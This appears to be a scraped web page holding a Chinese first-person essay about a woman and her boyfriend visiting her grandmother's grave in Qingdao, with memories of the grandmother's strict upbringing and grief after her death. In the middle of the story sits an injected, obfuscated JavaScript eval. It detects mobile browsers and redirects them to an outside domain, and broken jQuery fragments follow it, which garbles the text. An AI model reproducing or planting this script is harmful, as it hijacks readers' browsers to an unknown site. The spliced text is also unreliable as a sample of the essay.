在青岛的第二天上午，我和蒋峪去看我奶奶。
决定去的前天晚上，我们两个躺在床上，一起讨论买点什么。
买黄纸的话，我和蒋峪从来没烧过这个东西，不懂里面的忌讳；买鲜花呢，好像对于我的朴素家庭来讲，又有点过于时髦了；除了酒以外，我奶奶很少对吃什么表现出明显的喜好，而且我和她只在我四五岁到十来岁相处过，距今也有十年出头，实在是太久了。
蒋峪问我：“那咱们这边去上坟的话，都有什么习俗吗？”
“买酒和烧纸吧？”我又卡壳了，我说我不清楚。
我真不知道其他老青岛是怎么祭奠逝者的，反正我家是只有大日子，比如清明，年节，忌辰会去那烧纸，平常没事儿一般不去。
而且奶奶过世这么多年，我除了考上高中、大学和研究生去过几次，每年也只有我爸去，他从不让我们晚辈去那儿。用我爸的话讲，只有墓主子女去烧纸，哪有孙辈去的道理，这可能是我家自己的习俗吧。
我爸在我家是很专断的，他是我爷爷奶奶的独生子，然后我爷爷又是我老爷爷唯一活下来的孩子，所以我爸从小就过得非常说一不二，我们都得听他的。
也正因为这样，我不打算告诉我爸，我要去公墓看望我奶奶。他要是知道了，那就不是一张嘴能说明白的了。
思来想去，我们最后决定买一瓶即墨牌老酒，一袋王哥庄的铁锅馒头，几个橘子，还有一盒脂渣，因为我奶奶以前经常做给我吃。
今天早晨，在买完所需的食品后，我和蒋峪钻进了一家图文打印店。
因为蒋峪一直在想怎么向我奶奶介绍他自己，以一个孙女男朋友的身份，我想了想便对他说：“你不介意的话，可以烧一份你的论文或者证书的复印件。”
在我眼里，烧某些成就证明的复印件给过世亲人，是一件很浪漫的事情，它们是属于我们年轻人能烧的、忌讳不多的“黄纸”。
我考上研以后，我就去奶奶那里，烧了我的录取通知书、大学毕业证、学位证的复印件。
当时烟雾缭绕，熏得我的眼睛十分酸胀的，我在心里告诉我奶奶，我一直在很努力地读书，读到我们家目前的最高学历，我没有辜负她。
在我默念这些话的时候，我不合时宜地走神想到一些我曾经看过的“显灵”视频，我好奇地想，我把自己照顾得这样好，奶奶会不会也显灵一下呢？
但是什么都没有发生，纸烧完以后，火灭成灰，轻飘飘地就散烟了
刚从打印机里拿出来的纸张是热的，我把它们对折放进蒋峪和我装东西的塑料袋里，轻轻一拎，同样沉甸甸。
去公墓的路上，蒋峪让我继续讲讲我奶奶。
我想了想，脑海里最先浮现的，居然是一些关于学习的片段。
我奶奶对我小学的管教非常严厉，我考不到九十五以上分数她不给我签名；期末领成绩前，再三警告我拿不到奖状怎样怎样；到我三四年级，不用铅笔的时候，她非常严格地限制我用修正带和涂改液，她真能做到，如果我用了太多，会撕掉语文周记，让我重新写......
印象很深的是某次英语小测，试卷有个地方需要填数字十二twelve的序数词，也就是twelfth，但我写错了。
再加上其他扣分点，我的卷子只考了91分。虽然我奶奶不懂英语，但她认识错误，所以她让我把twelfth写了一百遍，没写完不要吃饭了。
那天，我在奶奶的监督下罚写，我写到手抽筋，写到崩溃大哭，她都没有动摇一下。
事后，她给我做了一碗滚烫的西红柿鸡蛋疙瘩汤，在我用左手吃得很狼狈的时候，我奶奶拿纸擦了一下我的嘴角。
那么轻轻的一下，像鸟的羽毛蹭过我的嘴角，那一刻，我的眼泪刷一下掉出眼眶，我几乎是立刻忘掉了她带给我的崩溃，而是觉得，奶奶好像又开始爱我了。
奶奶站在灯下背光的位置，银白色的头发到晚上仍梳得一丝不苟，她居高临下地站在我面前，还是一副冷声冷气的模样。她问我知道错了吗？我说知道了，她又问我以后还这样吗？我就说我改了。
我确实改了，自那以后，我再也没有写错过，甚至直到现在，我都能立刻写出twelve的序数词twelfth怎么拼。
我不能说奶奶这样教育我不对，因为我确实没有爸爸妈妈管，所以我奶奶觉得她必须得严格抓我学习，还得把我教得特别好，这样别人才不会说我们家的闲话。
她这样近乎刻板的教育，给我养成了还不错的学习习惯，使我在她过世之后长达六年的住宿生活里，一直没有放弃变“优秀”，尽管我曾很痛苦。
但我心里特别清楚，如果没有我付出一定精神代价，换取到现在的成就，那我一定会在爸爸和后妈的放任下，走上一条比现在痛苦千百倍的路，尤其是作为一个女孩。所以，我将永远受益于奶奶的教育，哪怕带着极端的错误，但这和堕落的命运相比，它显然不值一提。
“因为你是女孩，所以你更得什么都会。”我总是被奶奶要求做这个，做那个，也总是被她拿来和弟弟比，我那时候可能也就八九岁，我也有情绪，也会问她为什么。
而我奶奶每次也都是那句话：“他有妈，你没妈，你自己不会干，有谁替你干？”
如果我再抱怨，那奶奶就会说：“一个女孩子，你什么都不会，到了婆家没人喜欢你。”
我非常不爱听这种话，只好选择乖乖做事来让她不再絮叨。
也许，我不是不明白奶奶要我勤快、要我懂事的苦心，因为她认为，一个眼里有活干的孩子，在亲爸和后妈的手底下讨生活，总归是容易些的。
我是知道的，可能我对奶奶说的那句“为什么总是我，为什么你总是拿我和弟弟比？”已经是我这种被奶奶照看长大的“老式小孩”的、最外向的撒娇了。
我阿姨从大连嫁到青岛，距离不远，但落到生活实处，也算远嫁了。
每年暑假，爸爸和阿姨就会带着弟弟，一起去阿姨娘家探亲。而我会背上一书包的衣服和书，从学校宿舍出来，自己搭地铁去奶奶家。
后来奶奶过世了，我的暑假变成了一个人。
但我会自己在家里学习，会出门去超市买菜，然后回家给自己做好吃的，我一个人也能把自己照顾得很好。
直到我十几岁时，在独自生活的某个夏天早晨，厨房烟雾报警器发出的尖锐爆鸣把熟睡的我吵醒，我不想下床处理，在拽着被子蒙上头之后，下意识大声喊了一声奶奶。
家里空荡荡的，没有回音。
喊完我才清醒，奶奶早就不在了，这里只有我。
烟雾报警器停了，可我的耳朵却开始了阵阵耳鸣，她过世的余音好像就是在这一天，悄悄开始了阵痛。
那时候，我第一次模模糊糊地认识到，在这个世界上，真的只剩下我一个人了。孤独感像潮水般涌来，是我青春期的第一件少女心事。
-
上午十点多，风热乎乎的，太阳晒得人睁不开眼睛。
我和蒋峪到达公墓的时候，旁边有一户人家正在举行下葬仪式，中间长得最高的一个人举着黑伞遮蔽太阳，其他所有人围成一团，一切很安静，只能听到主事人的声音断断续续传过来。
我和蒋峪驻足了一秒，随即从另一侧绕了过去，我们不想打扰到别人。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417778|184707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一次性纸杯倒满了黄酒，脂渣和馒头都打开袋子放好，我和蒋峪蹲在一起剥橘子，凑得太近，蒋峪的手劲儿又比较大，橘子汁溅到了我的眼睛里。
“抱歉，抱歉。”蒋峪比我还紧张，我看到他一边给我找水，一边下意识看了一眼我奶奶的碑石。
我被他逗笑了：“你这么紧张做什么？”
“嘘。”蒋峪摇摇头，什么都没说。
我们摆了一个正方形，按照脂渣、馒头，酒，橘子的顺序放的，意思是，先吃肉，再吃馒头，喝酒解渴，餐后水果是橘子。
摆好以后，我问蒋峪，“我们是不是得安安静静地等奶奶来了，吃了，我们再说话啊？”
蒋峪则认为：“不先烧纸的话，奶奶怎么知道咱们俩来了呢？”
“好像也对。”
我拿出我们打印的纸，蒋峪试了试打火机，扭头问我：“现在开始吗？”
我点点头。
打火机窜出一束小小的火苗，我们俩沉默地看着火舌一点一点卷过复印纸的边角，而后变成一块块滚烫的灰，空气一下子变热了，像有了活气那样。
据我以前给奶奶烧纸的经验，人一般是不说话的，我也是在心里和她默默交流，但这次有了第三人，我似乎应该充当起中间人的角色，为奶奶介绍一下旁边的蒋峪。
但还没等我开口，蒋峪先自顾自说了下去：“奶奶你好，我是蒋峪。”
看到蒋峪一本正经介绍自己的模样，我下意识笑了一下，“你不要这么严肃，来看奶奶，轻松一点就可以。”
过了第一下的卡壳，后面说什么都很顺利了，蒋峪说了一通，先是怎么和我认识的，我们怎么好上的，后面是他家里有什么人，几个孩子，几个老人.......
蒋峪的声音低低的，柔和、沉静，说着说着我不自觉加入了对话，剩下就是我们一起聊天了。
临走前，我拿出剩下的一次性纸杯，给我和蒋峪一人倒了半杯酒。
蒋峪说这是他第一次喝即墨老酒，我迫不及待地问他：“怎么样？什么味道的？”
“刚开始感觉有一股烤糊的味道，然后还有一点甜味，就是酒的味道。”
“蒋峪，你觉得好喝吗？”
“可以接受。”
可以接受，就是一个很一般化的评价了，但我觉得蒋峪是天才，因为他和我对这种酒的感觉简直一模一样！
即墨牌的老酒，二三十块钱一瓶，每到夏天吹空调，或者冬天输送暖气前后，我奶奶就会时不时喝一杯老酒。
有时候，她会往里面搁点姜丝和话梅，放到炉子上面加热。她也总招呼我尝尝，我们家那时候还没有未成年不能饮酒的严格概念，我每次都是紧张地抿一口，生怕喝多了变成傻子。
温热的黄酒，我一喝多准留鼻血，我奶奶便会搬出她的口头禅，还是孩子好，年轻火旺的。
年轻火旺的我和蒋峪喝完了各自的半杯，彼此都感觉到对方的耳朵和脖子一点点红了起来。
日头渐高，气温还是很热的，蒋峪整理了一番地上的东西，他贴心地去丢垃圾了，留我自己安心待一会。
近距离里，蒋峪不在，刚才安葬亲人的那一行人也走了，天地间空空荡荡的，好像只剩下我一个人。
但我只是安安静静站了一两分钟，什么都没有做。
距离我第一次来这个地方，已经过去整整十年了，光阴如梭，我这个曾经站在奶奶前面将将一米六的豆芽菜，已经长成一个一米七的瘦高高模样了。
你也会为我感到欣慰吗？我在心里默默地想着，我过得很好，非常好，我会一直这样努力生活下去的。
请相信我。